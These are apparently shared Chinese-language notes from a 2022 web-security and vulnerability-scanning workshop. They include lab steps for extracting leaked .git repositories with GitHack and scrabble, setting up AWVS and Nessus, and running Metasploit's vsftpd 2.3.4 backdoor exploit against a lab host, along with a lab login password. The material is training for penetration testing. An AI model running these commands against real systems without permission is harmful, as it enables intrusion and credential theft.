# 2022/05/17 課程共筆

## 課程資訊
- 資安大小事－Web 與弱點掃描
- 2022/05/17(二) 下午 13：00 ～ 16：00
- Monospace 共同工作空間
- [線上課程連結](https://ctld.webex.com/ctld-tc/j.php?MTID=mcaafa4dabe47a4755447cee650b9b4bb)

https://ctld.webex.com/ctld/e.php?MTID=mcd578b2581342b97a3a41fb020c2d8dc

## lab
- lab.feifei.tw
- kali lab
- https://docs.google.com/spreadsheets/d/1Z8LpSpnb5ljQpIwy4Fch57OLznu-Ubp65TgnqPoLz34/edit?usp=sharing
- 進行連線
- 使用 ssh
## git
- git clone https://github.com/lijiejie/GitHack.git
- git clone https://github.com/denny0223/scrabble
- 標的
- http://34.125.211.181/
- https://lab.feifei.tw
- .git
- gitHack步驟
- 登入 kali
- ssh
- 下載 tool
- git clone https://github.com/lijiejie/GitHack.git
- 使用工具
- python3 GitHack.py http://34.125.211.181/.git
- 查看內容
- cd "網站名稱"
- ls
- 截圖
- 
- scrabble步驟
- 下載工具
- git clone https://github.com/denny0223/scrabble
- 進入工具資料夾
- cd scrabble
- 使用工具
- ./scrabble http://34.125.211.181/
- 查看 log
- git log
- 切換版本
- git checkout <版本hash>
- 截圖
- 
- path scanner
- AWVS https://34.125.211.181:13443/
- Username:[e-mail]
- password:Admin123
- 自己安裝
- https://hub.docker.com/r/secfa/docker-awvs
- .git 防禦

    <Directorymatch "^/.*/\.git/">
        Order 'deny,allow'
        Deny from all
    </Directorymatch>

- nessus
- https://docs.tenable.com/nessus/Content/DeployNessusDocker.htm
- `docker run --name "container name" -d -p 8834:8834 tenableofficial/nessus`
- https://34.125.211.181:8834/#/
-
- Metasploit
- msfconsole
- 透過另一個視窗 ip addr　查看 ip
- nmap ip (網段要加/) 找到有問題的 ip
- search vsftpd
- use exploit/unix/ftp/vsftpd_234_backdoor
- options
- set RHOSTS "nmap出來的ip"
- run

## 課程大綱
- 複習
- SQL injection
- 網站常見弱點
- XSS
- RCE 的危害
- 弱點掃描實務
- 系統型弱點掃描工具
- nessus
- 安裝與使用
- OPEN VAS
- 網站型弱點掃描工具
- AWVS
- 安裝與使用
- OWASP ZAP
- 弱點資料庫
- ATT&ACK
- 滲透測試工具
- Metasploit
- 滲透測試-提權
- [linux](https://gtfobins.github.io/)
- [windows](https://github.com/AonCyberLabs/Windows-Exploit-Suggester)
- [windows-kernel](https://github.com/SecWiki/windows-kernel-exploits)
-
- 結論

## 許願池[你有特別想聽的弱點/手法/問題]
> [name=飛]歡迎大家留下自己的問題，可以幫大家解答
> [name=Tilda]針對弱掃的部分：
> 1. AWS 等等的雲端服務該怎麼使用弱掃呢？
> 要告知雲端服務商要進行弱掃、滲透測試，告知時間（開始至結束），不然會有額外支出或被 ban 的情況ＸＤ
> S3-Bucket
> EC2-如果是使用像 EC2 的 web server?
> 2. 配合 gitlab/github 做 CI/CD 時，如何將每次的基本弱掃套用進入測試
[OpenVAS](https://ithelp.ithome.com.tw/articles/10216345)
> 3. 對於一個 App/Web 最基本的弱掃該達到什麼程度呢？
>
>

- 筆記
#### .git 洩漏
- http://34.125.211.181/.git/ 網址上加上 /.git，結果會 Forbidden
- http://34.125.211.181/.git/config 再加上 /config ，就可以看到資料內容
- python3 GitHack.py [網址] 取得帳號密碼(無git紀錄)
- ./scrabble [網址] 取得git紀錄

#### 外洩掃描
- shodan.io
- ip 開了哪些 port ?
- 已知、可能漏洞有哪些？
- 位置在哪？
- Synology 上的漏洞？
- 也有教育方案！
-
- zoomeye
- 中國版的 shodan
- 針對於美國、台灣

- DNS
- dnsdumpster.com
- 圖形化檢視
-

#### 弱點掃描
- Acunetix
- 錄下執行過程
- 登入/商業邏輯測試等內容
- 掃描盡量要把 client 打開
- 爬蟲檢查哪些頁面可掃描
- 弱點列表
- 針對各種級別弱點，如何影響？如何修復？
- 可能會有誤判情形，不可盡信

#### 滲透測試：弱點攻擊
- Metasploit
- 駭客常用（好玩？：Ｄ
- msfconsole
- 搜尋攻擊腳本並使用
-

#### ATT&CK：攻擊手法資料庫
- ICS

#### 需要的能力
- 

#### 案例分享
- vtuber 的 git 洩漏
- 哪些內容該被版本控制？
-

https://lab.feifei.tw/practice/xss/

#### 小結
- 輸入輸出不信任
- 套件系統常更新
- 權限控管要確實